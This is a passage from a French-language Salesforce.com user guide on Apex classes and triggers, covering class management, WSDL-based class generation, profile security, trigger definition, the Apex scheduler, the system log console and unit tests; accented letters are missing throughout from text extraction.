rfrencement par une classe ou un dclencheur.

Voir aussi :
Prsentation du code Apex Force.com
Dfinition des classes Apex
Dfinition des dclencheurs Apex
Gestion des classes Apex
Gestion des dclencheurs Apex
Affichage des classes Apex
Paramtrage de la scurit d'une classe Apex
propos des packages grs
Prsentation d'une version de package

Gestion des classes Apex

Disponible dans : Unlimited Edition, Developer Edition et Enterprise Edition

Autorisations utilisateur requises

Pour dfinir, modifier, supprimer, configurer la scurit, dfinir Auteur Apex
les paramtres de version, afficher les dpendances et excuter
des tests pour les classes Apex :

Une classe Apex est un modle ou plan directeur partir duquel les objets Apex sont crs. Les classes sont constitues d'autres
classes, de mthodes dfinies par l'utilisateur, de variables, de types d'exception et d'un code d'initialisation statique. Une fois
enregistres, les variables ou les mthodes de classe peuvent tre appeles par d'autres scripts Apex, ou via l'API des services Web
Force.com (ou ensemble d'outils AJAX) pour les mthodes qui ont t signales par le mot-cl webService.
Remarque: Le prfixe d'espace de noms est ajout aux classes Apex, aux dclencheurs Apex, aux composants Apex,
aux pages Visualforce, aux modles de marques, aux dossiers, aux commandes s-controls, aux ressources statiques, aux
liens Web et aux types de rapports personnaliss s'ils sont inclus dans une package gr. Toutefois, si votre profil n'a
pas d'autorisations d'application personnalises, le champ de prfixe d'espace de noms ne s'affiche pas pour les modles
de marques, les dossiers et les types de rapports personnaliss. Pour plus d'informations sur les prfixes d'espace de
noms, reportez-vous Enregistrer un prfixe d'espace de noms la page 875.
Pour crer une classe Apex, cliquez sur Nouveau et saisissez votre code Apex dans un diteur simple. Reportez-vous Dfinition
des classes Apex la page 888.
Alors que les dveloppeurs peuvent crire des mthodes de classe en fonction de la syntaxe dcrite dans le manuel Force.com
Apex Code Developer's Guide, les classes peuvent galement tre gnres automatiquement l'aide d'un document WSDL
stock sur un disque dur local ou le rseau. La cration d'une classe l'aide d'un document WSDL permet aux dveloppeurs
de raliser des appels auprs du service Web externe dans leurs scripts Apex. Cliquez sur Gnrer partir du WSDL pour
gnrer une classe Apex partir d'un document WSDL.

Dvelopper

Guide de l'utilisateur | Gestion des classes Apex | 892

Une fois que vous avez cr une classe Apex, vous pouvez effectuer les oprations suivantes :

Cliquez sur Modifier en regard du nom de la classe pour modifier son contenu dans un diteur simple.
Cliquez sur Suppr en regard du nom de la classe pour la supprimer de votre entreprise.
Remarque:

Vous ne pouvez pas supprimer une classe indique comme contrleur d'un composant ou d'une page Visualforce.

Une icne indique la prsence d'une classe Apex dans un package gr install. Vous ne pouvez pas modifier
ou supprimer une classe dans un package gr.

Une icne indique la publication d'une classe Apex dans un package gr. Les classes Apex dans des packages
ont des considrations spciales.

Si une classe Apex contient des mthodes dfinies en tant que webService, vous pouvez cliquer sur WSDL en regard
du nom de la classe afin de gnrer un document WSDL pour le contenu de la classe. Ce document contient toutes les
informations ncessaires au client pour qu'il puisse utiliser les mthodes de service Web Apex. Toutes les mthodes de
classe prsentant le mot-cl webService sont incluses dans le document WSDL obtenu.
Cliquez sur Scurit prs du nom de la classe pour slectionner les profils autoriss excuter des mthodes dans la classe
partir de points d'entre de niveau suprieur, tels que les mthodes de service Web . Pour les classes installes dans votre
organisation partir d'un package gr, ce lien s'affiche uniquement pour celles dfinies sur global.

Si vous avez des tests unitaires dans au moins une classe Apex, cliquez sur Excuter tous les tests pour excuter tous ces tests
dans votre entreprise. Pour plus d'informations, reportez-vous Excution de tests unitaires Apex la page 904.
Remarque: Vous pouvez ajouter, modifier ou supprimer du code Apex en utilisant l'interface utilisateur Salesforce.com
uniquement dans une organisation Developer Edition, une organisation d'valuation Salesforce.com Enterprise Edition
ou une organisation de test sandbox. Dans une organisation de production Salesforce.com, vous pouvez apporter des
modifications au code Apex uniquement en utilisant l'appel dployer l'API de mtadonnes, Force.com IDE ou
l'Outil de migration Force.com. Force.com IDE et l'Outil de migration Force.com sont des ressources fournies
gratuitement par salesforce.com pour aider ses utilisateurs et partenaires, mais ne sont pas considrs comme faisant
partie de nos Services dans le cadre du Contrat d'abonnement principal Salesforce.com.

Voir aussi :
Prsentation du code Apex Force.com
Dfinition des classes Apex
Affichage des classes Apex
Cration d'une classe Apex partir d'un document WSDL
Paramtrage de la scurit d'une classe Apex
Comprhension des dpendances
Excution de tests unitaires Apex

Dvelopper

Guide de l'utilisateur | Affichage des classes Apex | 893

Affichage des classes Apex

Disponible dans : Unlimited Edition, Developer Edition et Enterprise Edition

Autorisations utilisateur requises

Pour dfinir, modifier, supprimer, configurer la scurit, dfinir Auteur Apex
les paramtres de version, afficher les dpendances et excuter
des tests pour les classes Apex :

Aprs avoir cr une classe, vous pouvez afficher le code contenu dans la classe, ainsi que l'API par rapport laquelle elle a t
enregistre, et dterminer si la classe est valide ou active. Cliquez sur Configuration Dvelopper Classes Apex, et
cliquez sur le nom de la classe afficher. Lorsqu'une classe est affiche, vous pouvez effectuer les oprations suivantes :

Cliquer sur Modifier pour modifier la classe.

Remarque:

Vous pouvez ajouter, modifier ou supprimer du code Apex en utilisant l'interface utilisateur Salesforce.com
uniquement dans une organisation Developer Edition, une organisation d'valuation Salesforce.com Enterprise
Edition ou une organisation de test sandbox. Dans une organisation de production Salesforce.com, vous pouvez
apporter des modifications au code Apex uniquement en utilisant l'appel dployer l'API de mtadonnes,
Force.com IDE ou l'Outil de migration Force.com. Force.com IDE et l'Outil de migration Force.com sont
des ressources fournies gratuitement par salesforce.com pour aider ses utilisateurs et partenaires, mais ne sont
pas considrs comme faisant partie de nos Services dans le cadre du Contrat d'abonnement principal
Salesforce.com.

Une icne indique la publication d'une classe Apex dans un package gr. Les classes Apex dans des packages
ont des considrations spciales.

Une icne indique la prsence d'une classe Apex dans un package gr install. Vous ne pouvez pas modifier
ou supprimer une classe dans un package gr.

Cliquer sur Supprimer pour supprimer la classe.

Remarque: Vous ne pouvez pas supprimer une classe indique comme contrleur d'un composant ou d'une page
Visualforce.

Si votre clase contient une mthode dfinie en tant que Service Web, cliquez sur Gnrer WSDL afin de gnrer un
document WSDL bas sur la classe.
Remarque: Vous ne pouvez pas gnrer un document WSDL pour les classes dfinies comme isTest.

Cliquez sur Tlcharger pour tlcharger une copie de votre script Apex.
Cliquez sur Excuter le test pour excuter les tests des units contenus dans la classe.
Cliquez sur Scurit pour dfinir la scurit au niveau de la classe Apex.

Dvelopper

Guide de l'utilisateur | Affichage des classes Apex | 894

Cliquez sur Afficher les dpendances pour afficher les lments, tels que les champs, les objets, ou les autres classes, qui
doivent exister pour que cette classe soit valide. Pour plus d'informations, reportez-vous Prsentation des dpendances
la page 853.

L'onglet Rcapitulatif de la classe affiche le prototype de la classe, savoir les classes, les mthodes et les variables disponibles
pour les autres scripts Apex. L'onglet Rcapitulatif de la classe prsente le niveau d'accs et la signature de chaque mthode
et variable dans une classe Apex, ainsi que toute classe interne. Si aucun prototype n'est disponible, cet onglet n'est pas
disponible.
Remarque:

Pour les classes Apex non incluses dans les packages grs, seules les classes, les mthodes et les variables dfinies
comme globales ou publiques s'affichent.
Pour les classes Apex incluses dans des packages grs, l'onglet Rcapitulatif de la classe prsente galement la
version du package avec laquelle une proprit ou une mthode particulire a t publie. Vous pouvez slectionner
un numro de version dans la liste droulante pour connatre le prototype de la version du package slectionn. La
valeur par dfaut correspond la version actuellement installe. Le dveloppeur d'un package peut rendre obsolte
une mthode Apex et tlcharger une nouvelle version de package, exposant ainsi une classe Apex avec un prototype
diffrent. Seules les classes, les mthodes et les variables dfinies comme globales sont affiches dans les prototypes
de classes de package gr.

Si la classe Apex rfrence des composants dans des packages grs installs, par exemple une autre classe, un dclencheur ou
un objet personnalis, l'onglet Paramtres de version prsente les versions de packages qui contiennent les composants
rfrencs.

Voir aussi :
Prsentation du code Apex Force.com
Gestion des classes Apex
Dfinition des classes Apex
Cration d'une classe Apex partir d'un document WSDL
Paramtrage de la scurit d'une classe Apex
Utilisation de l'diteur pour Visualforce ouApex
propos des packages grs
Prsentation d'une version de package
Gestion des paramtres de version pour Apex

Dvelopper

Guide de l'utilisateur | Cration d'une classe Apex partir d'un document WSDL | 895

Cration d'une classe Apex partir d'un document WSDL

Disponible avec : Unlimited Edition, Developer Edition et Enterprise Edition

Autorisations utilisateur requises

Pour dfinir, modifier, supprimer, configurer la scurit, dfinir Auteur Apex
les paramtres de version, afficher les dpendances et excuter
des tests pour les classes Apex :

Une classe Apex peut galement tre gnre automatiquement partir d'un document WSDL stock sur un disque dur local
ou sur le rseau. La cration d'une classe l'aide d'un document WSDL permet aux dveloppeurs de raliser des appels auprs
du service Web externe dans leurs scripts Apex.
Remarque: Utilisez les messages sortants pour grer les solutions d'intgration, si possible. Utilisez les appels passs
des services Web tiers seulement si ncessaire.
Pour accder cette fonctionnalit :
1. Dans l'application, cliquez sur Configuration Dvelopper Classes Apex.
2. Cliquez sur Gnrer partir du WSDL.
3. Cliquez sur Parcourir pour accder un document WSDL situ sur votre disque dur local ou sur le rseau, ou saisissez
son chemin d'accs complet. Ce document WSDL constitue la base de la classe Apex que vous crez. Sa taille ne doit pas
dpasser 1 Mo.
Remarque:
Le document WSDL que vous indiquez peut contenir une adresse SOAP faisant rfrence un port de sortie.
Pour des raisons de scurit, Salesforce.com applique l'une des restrictions suivantes aux ports de sortie spcifis :

80: Ce port n'accepte que les connexions HTTP.

443: Ce port n'accepte que les connexions HTTP.
7000 10000 (inclus) : Ces ports acceptent les connexions HTTP ou HTTPS.

4. Cliquez sur Analyser le document WSDL pour vrifier le contenu du document WSDL. L'application gnre un nom
de classe par dfaut pour chaque espace de noms dans le document WSDL et signale les erreurs ventuelles. L'analyse
chouera si le WSDL contient des types de schma ou des constructions de schma qui ne sont pas gres par des classes
Apex, ou si les classes rsultantes dpassent la limite de 100 000 caractres des classes Apex. Par exemple, le WSDL de
l'API SOAP de Salesforce.com ne peut pas tre analys.
5. Modifiez les noms de classe, si ncessaire. Mme si vous pouvez enregistrer plusieurs espaces de noms WSDL dans une
seule classe en utilisant le mme nom de classe pour chaque espace de noms, les classes Apex ne peuvent pas dpasser
100 000 caractres au total.
6. Cliquez sur GnrerApex. La dernire page de l'assistant indique les classes dont la gnration a russi, ainsi que les erreurs
provenant d'autres classes. La page fournit galement un lien permettant de visualiser le code gnr si l'opration a russi.
La classe Apex dont la gnration a russi comprend des classes d'intituls de ligne et de types permettant d'appeler le service Web
tiers reprsent par le document WSDL. Ces classes vous permettent d'appeler le service Web externe partir d'Apex. Les

Dvelopper

Guide de l'utilisateur | Paramtrage de la scurit d'une classe Apex | 896

appels SOAP demande de et rponse sont limits 1 Mo. Pour consulter un exemple, reportez-vous au manuel Force.com
Apex Code Developer's Guide.
Remarque: Si un document WSDL contient un mot rserv Apex, le suffixe _x est ajout ce mot lorsque la classe
Apex est gnre. Par exemple, dans la classe Apex gnre, le terme upsert d'un document WSDL deviendrait
upsert_x. Pour obtenir une liste de termes rservs, reportez-vous au manuel Force.com Apex Code Developer's
Guide.

Voir aussi :
Prsentation du code Apex Force.com
Gestion des classes Apex
Affichage des classes Apex
Dfinition des classes Apex
Paramtrage de la scurit d'une classe Apex

Paramtrage de la scurit d'une classe Apex

Disponible avec : UnlimitedEdition, DeveloperEdition et Enterprise Edition

Autorisations utilisateur requises

Pour dfinir, modifier, supprimer, configurer la scurit, dfinir Auteur Apex
les paramtres de version, afficher les dpendances et excuter
des tests pour les classes Apex :

Vous pouvez indiquer les utilisateurs habilits excuter les mthodes d'une classe Apex suprieure donne, en fonction de
leur profil. Ces autorisations ne s'appliquent qu' des mthodes de classe Apex telles que des mthodes de service Web ou
toute mthode utilise dans un contrleur Visualforce personnalis ou une extension de contrleur applique une page
Visualforce. Les dclencheurs sont systmatiquement activs lors d'vnements de dclencheur (tels que insert ou update),
quelle que soit l'autorisation de l'utilisateur.
Remarque: Si vous avez install un package gr dans votre organisation, vous pouvez dfinir la scurit uniquement
pour les classes Apex de ce package qui sont dclares comme global, ou pour les classes qui contiennent des mthodes
dclares comme webService.
Si l'autorisation Apex - Auteur est active dans le profil d'un utilisateur, celui-ci a accs toutes les classes Apex
dans l'entreprise associe, quel que soit le paramtrage de scurit des diffrentes classes.
L'autorisation pour une classe Apex est uniquement vrifie au niveau suprieur. Par exemple, si une classe A appelle une classe
B, et qu'un profil utilisateur n'a accs qu' la classe A mais pas la classe B, l'utilisateur peut quand mme parvenir excuter
le code de la classe A. De mme, si une page Visualforce utilise un composant personnalis avec un contrleur associ, la
scurit n'est vrifie que pour le contrleur associ la page. Le contrleur associ au composant personnalis s'excute quelles
que soient les autorisations.
Pour dfinir la scurit de la classe Apex partir de la page de liste de classes, procdez comme suit :

Dvelopper

1.
2.
3.
4.
5.

Guide de l'utilisateur | Dfinition des dclencheurs Apex | 897

Cliquez sur Configuration Dvelopper Classes Apex.

En regard du nom de la classe restreindre, cliquez sur Scurit.
Dans la liste Profils disponibles, slectionnez les profils activer et cliquez sur Ajouter.
Dans la liste Profils activs, slectionnez les profils dsactiver et cliquez sur Supprimer.
Cliquez sur Enregistrer.

Pour dfinir la scurit de la classe Apex partir de la page de dtails des classes, procdez comme suit :
1.
2.
3.
4.
5.
6.

Cliquez sur Configuration Dvelopper Classes Apex.

Cliquez sur le nom de la classe que vous souhaitez limiter.
Cliquez sur Scurit
Dans la liste Profils disponibles, slectionnez les profils activer et cliquez sur Ajouter.
Dans la liste Profils activs, slectionnez les profils dsactiver et cliquez sur Supprimer.
Cliquez sur Enregistrer.

Pour dfinir la scurit de la classe Apex partir de la page de dtails de profil, procdez comme suit :
1.
2.
3.
4.
5.
6.

Cliquez sur Configuration Gestion des utilisateurs Profils.

Cliquez sur le nom du profil modifier.
Dans la liste associe Accs aux classes Apex activ, cliquez sur Modifier.
Slectionnez les classes Apex que vous souhaitez activer dans la liste Classes Apex disponibles et cliquez sur Ajouter.
Slectionnez les classes Apex que vous souhaitez dsactiver dans la liste Classes Apex actives et cliquez sur Supprimer.
Cliquez sur Enregistrer.

Voir aussi :
Prsentation du code Apex Force.com
Gestion des classes Apex
Dfinition des classes Apex
Cration d'une classe Apex partir d'un document WSDL
Excution de tests unitaires Apex
Gestion des paramtres de version pour Apex

Dfinition des dclencheurs Apex

Disponible avec : Unlimited Edition, Developer Edition et Enterprise Edition

Autorisations utilisateur requises

Pour dfinir les dclencheurs Apex :

Auteur Apex

Les dclencheurs Apex sont stocks sous forme de mtadonnes dans l'application, sous l'objet auquel ils sont associs.

Dvelopper

Guide de l'utilisateur | Dfinition des dclencheurs Apex | 898

Remarque: Vous pouvez ajouter, modifier ou supprimer du code Apex en utilisant l'interface utilisateur Salesforce.com
uniquement dans une organisation Developer Edition, une organisation d'valuation Salesforce.com Enterprise Edition
ou une organisation de test sandbox. Dans une organisation de production Salesforce.com, vous pouvez apporter des
modifications au code Apex uniquement en utilisant l'appel dployer l'API de mtadonnes, Force.com IDE ou
l'Outil de migration Force.com. Force.com IDE et l'Outil de migration Force.com sont des ressources fournies
gratuitement par salesforce.com pour aider ses utilisateurs et partenaires, mais ne sont pas considrs comme faisant
partie de nos Services dans le cadre du Contrat d'abonnement principal Salesforce.com.
Pour dfinir un dclencheur :
1. Pour un objet standard, cliquez sur Configuration Personnalisation, cliquez sur le nom de l'objet, puis sur Dclencheurs.
Pour un objet personnalis, cliquez sur Configuration Crer Objets et cliquez sur le nom de l'objet.
Pour des membres de campagne, cliquez sur Configuration Personnalisation Campagnes Membre de campagne
Dclencheurs.
Pour des commentaires de requte, cliquez sur Configuration Requtes Commentaires sur la requte
Dclencheurs.
Pour des e-mails, cliquez sur Configuration Requtes E-mails Dclencheurs.
2. Dans la liste associe Dclencheurs, cliquez sur Nouveau.
3. Cliquez sur Paramtres de version pour spcifier la version de la classe Apex et l'API utilise dans ce dclencheur. Si votre
organisation a des packages grs installs depuis AppExchange, vous pouvez galement spcifier la version de chaque
package gr utiliser avec ce dclencheur. Gnralement, vous devez utiliser les valeurs par dfaut pour toutes les versions.
Elles associent le dclencheur la version la plus rcente du code Apex et de l'API, ainsi que de chaque package gr. Vous
pouvez spcifier une version antrieure d'un package gr si vous souhaitez accder des composants ou des fonctionnalits
qui diffrent de la version la plus rcente du package. Vous pouvez spcifier une version antrieure du code Apex et de
l'API pour conserver un comportement spcifique.
4. Cochez la case Est active si le dclencheur doit tre compil et activ. Ne cochez pas cette case si vous voulez seulement
stocker le script dans les mtadonnes de votre entreprise. Cette case est active par dfaut.
5. Dans la zone de saisie Corps, entrez le code Apex du dclencheur. Un seul dclencheur peut contenir jusqu' 32 000
caractres.
Pour dfinir un dclencheur, utilisez la syntaxe suivante :
trigger triggerName on ObjectName (trigger_events) { code_block }
trigger_events pouvant tre une liste au format CSV comportant au moins l'un des vnements suivants :

avant l'insertion
avant la mise jour
avant la suppression
aprs l'insertion
aprs la mise jour
aprs la suppression
aprs la restauration

Remarque:

Vous pouvez utiliser le mot cl webService uniquement dans un dclencheur au sein d'une mthode dfinie
comme asynchrone, c.--d. dfinie avec le mot cl @future.

Dvelopper

Guide de l'utilisateur | Gestion des dclencheurs Apex | 899

Un dclencheur appel par une insertion, suppression ou mise jour d'une tche ou d'un vnement
rcurrent entrane une erreur d'excution si le dclencheur est appel en masse partir de l'API Force.com.

6. Cliquez sur Enregistrer.

Remarque: Les dclencheurs sont stocks avec un indicateur isValid dfini sur true condition que les mtadonnes
dpendantes n'aient pas chang depuis la dernire compilation du dclencheur. Si des modifications sont apportes
aux noms ou aux champs d'objet utiliss dans le dclencheur, mme si elles sont mineures (par exemple, dans la
description d'un champ ou d'un objet), l'indicateur isValid est paramtr sur false jusqu' ce que le compilateur
Apex rexcute le code. La recompilation a lieu lors de l'excution suivante du dclencheur ou lorsqu'un utilisateur
renregistre le dclencheur dans les mtadonnes.
Si un champ de recherche fait rfrence un enregistrement qui a t supprim, Salesforce.com configure le champ
de recherche sur nul et n'excute aucun dclencheur Apex, aucune rgle de validation ou de workflow, et aucun champ
rcapitulatif de cumul.

Voir aussi :
Prsentation du code Apex Force.com
Gestion des dclencheurs Apex
Gestion des paramtres de version pour Apex
Utilisation de la console du journal systme
Gestion des journaux de dbogage
Utilisation de l'diteur pour Visualforce ouApex

Gestion des dclencheurs Apex

Disponible avec : Unlimited Edition, Developer Edition et Enterprise Edition

Autorisations utilisateur requises

Pour dfinir, modifier, supprimer et afficher des dpendances Auteur Apex
des dclencheursApex :

Un dclencheur est un script Apex qui s'excute avant ou aprs certains vnements de langage de manipulation de donnes
(DML), par exemple avant l'insertion d'enregistrements d'objet dans la base de donnes ou aprs la suppression d'enregistrements.
Les dclencheurs sont stocks en tant que mtadonnes dans Salesforce.com. Une liste de tous les dclencheurs de votre
organisation se trouve dans Configuration Dvelopper Dclencheurs Apex. En plus de cette liste, les dclencheurs
sont associs et stocks avec des objets spcifiques. Pour les objets standard, les dclencheurs sont se trouvent dans Configuration
Personnalisation Standard_Object_Name Dclencheurs ainsi que dans la page de dtails des objets personnaliss
dans Configuration Crer Objets.
Remarque: Le prfixe d'espace de noms est ajout aux classes Apex, aux dclencheurs Apex, aux composants Apex,
aux pages Visualforce, aux modles de marques, aux dossiers, aux commandes s-controls, aux ressources statiques, aux
liens Web et aux types de rapports personnaliss s'ils sont inclus dans une package gr. Toutefois, si votre profil n'a

Dvelopper

Guide de l'utilisateur | Affichage des dtails du dclencheur Apex | 900

pas d'autorisations d'application personnalises, le champ de prfixe d'espace de noms ne s'affiche pas pour les modles
de marques, les dossiers et les types de rapports personnaliss. Pour plus d'informations sur les prfixes d'espace de
noms, reportez-vous Enregistrer un prfixe d'espace de noms la page 875.
Cliquez sur Nouveau pour crer un dclencheur Apex.
Remarque: Vous pouvez crer que des dclencheurs uniquement depuis l'objet associ, pas depuis la page Dclencheurs
Apex.
Une fois le dclencheur Apex cr :

Cliquez sur Modifier en regard du nom du dclencheur pour modifier son contenu dans un diteur simple.
Cliquez sur Suppr en regard du nom du dclencheur pour supprimer le dclencheur de votre entreprise.
Remarque:

Vous pouvez ajouter, modifier ou supprimer du code Apex en utilisant l'interface utilisateur Salesforce.com
uniquement dans une organisation Developer Edition, une organisation d'valuation Salesforce.com Enterprise
Edition ou une organisation de test sandbox. Dans une organisation de production Salesforce.com, vous pouvez
apporter des modifications au code Apex uniquement en utilisant l'appel dployer l'API de mtadonnes,
Force.com IDE ou l'Outil de migration Force.com. Force.com IDE et l'Outil de migration Force.com sont des
ressources fournies gratuitement par salesforce.com pour aider ses utilisateurs et partenaires, mais ne sont pas
considrs comme faisant partie de nos Services dans le cadre du Contrat d'abonnement principal Salesforce.com.

Une icne indique la prsence d'un dclencheur Apex dans un package gr install. Vous ne pouvez pas modifier
ou supprimer un dclencheur dans un package gr.

Voir aussi :
Prsentation du code Apex Force.com
Dfinition des dclencheurs Apex
Affichage des dtails du dclencheur Apex
Comprhension des dpendances
Qu'est-ce qu'un journal de dbogage ?
Gestion des journaux de dbogage

Affichage des dtails du dclencheur Apex

Disponible avec : Unlimited Edition, Developer Edition et Enterprise Edition

Autorisations utilisateur requises

Pour dfinir les dclencheurs Apex :

Auteur Apex

Les dclencheurs Apex sont stocks sous forme de mtadonnes dans l'application, sous l'objet auquel ils sont associs. Vous
pouvez galement afficher tous les dclencheurs en cliquant sur Configuration Dvelopper Dclencheurs Apex.

Dvelopper

Guide de l'utilisateur | Affichage des dtails du dclencheur Apex | 901

Remarque: Vous pouvez ajouter, modifier ou supprimer du code Apex en utilisant l'interface utilisateur Salesforce.com
uniquement dans une organisation Developer Edition, une organisation d'valuation Salesforce.com Enterprise Edition
ou une organisation de test sandbox. Dans une organisation de production Salesforce.com, vous pouvez apporter des
modifications au code Apex uniquement en utilisant l'appel dployer l'API de mtadonnes, Force.com IDE ou
l'Outil de migration Force.com. Force.com IDE et l'Outil de migration Force.com sont des ressources fournies
gratuitement par salesforce.com pour aider ses utilisateurs et partenaires, mais ne sont pas considrs comme faisant
partie de nos Services dans le cadre du Contrat d'abonnement principal Salesforce.com.
Pour afficher les dtails d'un dclencheur, cliquez sur Configuration Dvelopper Dclencheurs Apex, puis cliquez sur
le nom du dclencheur. Vous pouvez galement accder aux dtails du dclencheur depuis l'objet. Pour un objet standard,
cliquez sur Configuration Personnalisation, cliquez sur le nom de l'objet, sur Dclencheurs, puis sur le nom du dclencheur.
Pour un objet personnalis, cliquez sur Configuration Crer des objets, cliquez sur le nom de l'objet, puis sur le nom
du dclencheur.
partir de la page de dtails du dclencheur, vous pouvez effectuer les oprations suivantes :

Cliquer sur Modifier pour modifier les proprits du dclencheur.

Remarque: Une icne indique la prsence d'un dclencheur Apex dans un package gr install. Vous ne pouvez
pas modifier ou supprimer un dclencheur dans un package gr.

Cliquez sur Supprimer pour supprimer le dclencheur de votre organisation.

Cliquez sur Afficher les dpendances pour afficher les lments, tels que les champs, les commandes s-controls ou les
classes, qui sont rfrencs par le script Apex contenu dans le dclencheur.
Cliquez sur Tlcharger Apex pour tlcharger le texte du dclencheur. Le fichier est enregistr sous le nom du dclencheur
dans un fichier de type .trg.

La page de dtails du dclencheur affiche les informations suivantes :

Le nom du dclencheur
Nom de l'objet auquel le dclencheur est associ tel qu'un Compte ou une requte.
La version API avec laquelle le dclencheur a t enregistr.
La validit d'un dclencheur.
Remarque: Les dclencheurs sont stocks avec un indicateur isValid dfini sur true condition que les
mtadonnes dpendantes n'aient pas chang depuis la dernire compilation du dclencheur. Si des modifications
sont apportes aux noms ou aux champs d'objet utiliss dans le dclencheur, mme si elles sont mineures (par
exemple, dans la description d'un champ ou d'un objet), l'indicateur isValid est paramtr sur false jusqu' ce
que le compilateur Apex rexcute le code. La recompilation a lieu lors de l'excution suivante du dclencheur ou
lorsqu'un utilisateur renregistre le dclencheur dans les mtadonnes.
Si un champ de recherche fait rfrence un enregistrement qui a t supprim, Salesforce.com configure le champ
de recherche sur nul et n'excute aucun dclencheur Apex, aucune rgle de validation ou de workflow, et aucun
champ rcapitulatif de cumul.

L'activation du dclencheur.
Texte du script Apex contenu dans le dclencheur.
Si le dclencheur rfrence des composants de packages grs installs, par exemple une classe Apex, une page Visualforce,
un objet personnalis, etc., la section Paramtres de version rpertorie la version des packages qui contiennent les composants
rfrencs.

Dvelopper

Guide de l'utilisateur | Planification de classes Apex | 902

Si le dclencheur est contenu dans un package gr install, Package install indique le nom du package.

Voir aussi :
Prsentation du code Apex Force.com
Gestion des dclencheurs Apex
Dfinition des dclencheurs Apex
propos des packages grs
Prsentation d'une version de package
Gestion des paramtres de version pour Apex

Planification de classes Apex

Disponible avec : Unlimited Edition, Developer Edition et Enterprise Edition

Remarque: La planification de classes Apex est actuellement disponible via un programme distribution limite.
Pour vrifier s'il est possible de s'inscrire au programme distribution limit et d'activer le planificateur Apex pour
votre organisation, contactez salesforce.com.
Le planificateur Apex permet d'excuter de faon rgulire les classes Apex de votre choix ou d'excuter une tche Apex par
lot l'aide l'interface utilisateur Salesforce.com.
Important: Salesforce.com met le processus en file d'attente uniquement l'horaire prvu. L'excution relle peut
tre retarde en fonction de la disponibilit du service.
Pour planifier des tches l'aide du planificateur Apex :
1.
2.
3.
4.

Mettez en uvre l'interface planifiable dans une classe Apex qui instancie la classe que vous souhaitez excuter.
Cliquez sur Configuration Dvelopper Classes Apex, puis cliquez sur Planifier Apex.
Spcifiez le nom d'une classe que vous souhaitez planifier.
Spcifiez la frquence d'excution de la classe Apex.

Pour Hebdomadaire, spcifiez un ou plusieurs jours de la semaine pour l'excution de la tche (par exemple lundi ou
mercredi).
Pour Mensuel, spcifiez la date ou le jour d'excution de la tche (par exemple le deuxime samedi de chaque mois).

5. Spcifiez les dates de dbut et de fin de planification de la classe Apex planifie. Si vous spcifiez un seul jour, la tche est
excute une seule fois.
6. Spcifiez une heure de dbut prfre. L'heure exacte de dbut de la tche dpend des autres tches prsentes dans la file
d'attente.
7. Cliquez sur Enregistrer.
Remarque: Vous pouvez avoir simultanment jusqu' 10 tches actives ou planifies.

Une fois une classe Apex planifie, vous pouvez suivre sa progression dans la page Toutes les tches planifies.

Dvelopper

Guide de l'utilisateur | Utilisation de la console du journal systme | 903

Lorsque la tche est termine, vous pouvez consulter les dtails de son excution (par exemple si elle a russi ou chou, sa
dure, le nombre d'enregistrement traits, etc.) dans la page Tches Apex.

Voir aussi :
Prsentation du code Apex Force.com
Dfinition des classes Apex
Apex File d'attente des tches

Utilisation de la console du journal systme

Disponible avec : Unlimited Edition, Developer Edition et Enterprise Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour utiliser la console du journal systme :

Afficher toutes les donnes

Pour utiliser la zone de saisie :

Auteur Apex

La console Journal systme est une fentre spare qui peut tre utilise pour des snippets de code de dbogage. Accdez la
console Journal systme partir de l'interface utilisateur de Salesforce.com en cliquant sur Journal systme en haut droite
de chaque page. Entrez le code que vous souhaitez tester en bas de la fentre, puis cliquez sur Excuter. Le corps du Journal
systme affiche des informations sur les ressources systme (telles que la dure d'excution d'une ligne ou le nombre d'appels
de la base de donnes effectus), ainsi que des informations de dbogage si l'excution du code ne s'est pas termin. Le Journal
systme peut galement contenir des informations sur les rgles de workflow, de validation, d'attribution et de hirarchisation,
et sur les processus d'approbation.
La console du journal systme propose les options suivantes :

Slectionnez Retour la ligne pour que le texte de la fentre d'affichage passe la ligne.
Slectionnez Le plus rcent en premier pour afficher les dernires informations de dbogage en haut de la fentre
d'affichage. Par dfaut, ces informations apparaissent en bas.
Slectionnez la Catgorie de consignation afin de spcifier le type d'informations consigner.
Slectionnez le Niveau de consignation afin de spcifier la quantit d'informations consigner.
Cliquez sur Effacer pour effacer tout le texte de la fentre d'affichage.
Cliquez sur Clore pour fermer la fentre du journal systme

Pour plus d'informations sur le journal de dbogage, reportez-vous Quest-ce qu'un journal de dbogage ? la page 906 Pour
plus d'informations sur les catgories et les niveaux de consignation, reportez-vous Dfinition des catgories et des niveaux
du journal de dbogage la page 909.
La console du journal systme est divise en deux zones principales. Les informations du journal de dbogage sont affiches
en haut de la console. De plus, bien que vous puissiez avoir des instructions DML (comme insert ou delete), ces actions
ne sont pas rellement excutes. Vous devez disposer de l'autorisation Apex - Auteur pour utiliser la zone de saisie.

Dvelopper

Guide de l'utilisateur | Excution de tests unitaires Apex | 904

Tous les scripts Apex que vous entrez dans la zone de saisie fonctionnent comme si vous les aviez excuts en utilisant
ExecuteAnonymous.
Vous ne pouvez pas utiliser le mot-cl static dans du code que vous entrez directement dans la console du journal systme.
De plus, bien que vous puissiez avoir des instructions DML (comme insert ou delete), ces actions ne sont pas rellement
excutes.
ATTENTION: Si vous employez des mthodes dfinies comme testMethod en appelant la classe qui les contient
l'aide de la console du journal systme, toutes les dclarations DML sont rellement excutes. Cette opration risque
d'ajouter des donnes superflues votre entreprise.
Pour plus d'informations sur la syntaxe et l'utilisation d'Apex, reportez-vous au manuel Force.com Apex Code Developer's
Guide.

Voir aussi :
Prsentation du code Apex Force.com
Qu'est-ce qu'un journal de dbogage ?
Dfinition des dclencheurs Apex
Excution de tests unitaires Apex
Gestion des dclencheurs Apex
Gestion des journaux de dbogage

Excution de tests unitaires Apex

Disponible dans : Unlimited Edition, Developer Edition et Enterprise Edition

Autorisations utilisateur requises

Pour dfinir, modifier, supprimer, configurer la scurit, dfinir Auteur Apex
les paramtres de version, afficher les dpendances et excuter
des tests pour les classes Apex :

Vous pouvez excuter les tests unitaires pour vos scripts Apex en utilisant l'interface utilisateur Salesforce.com. Vous pouvez
excuter des tests unitaires pour une classe prcise ou excuter tous les tests unitaires de votre entreprise. Les mthodes de test
unitaires ne prennent aucun argument, ne soumettent aucune donne la base de donnes, n'envoient aucun e-mail et sont
marques avec le mot cl testMethod dans la dfinition de la mthode.
Pour excuter les tests unitaires pour une classe prcise, cliquez sur Configuration Dvelopper Classes Apex, cliquez
